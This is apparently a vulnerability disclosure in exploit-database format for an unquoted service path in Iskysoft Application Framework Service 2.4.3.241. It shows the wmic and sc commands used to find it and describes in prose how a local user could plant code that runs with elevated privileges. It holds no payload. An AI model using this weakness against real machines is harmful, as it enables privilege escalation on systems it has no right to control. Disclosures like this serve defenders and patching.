Iskysoft Application Framework Service 2.4.3.241 – ‘IsAppService’ Unquoted Service Path
# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.iskysoft.us # Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE # Tested Version: 2.4.3.241 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """ Iskysoft Application Framework Service IsAppService C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe Auto # Service info: C:\WINDOWS\system32>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IsAppService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Iskysoft Application Framework Service DEPENDENCIES : RPCSS # Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application. |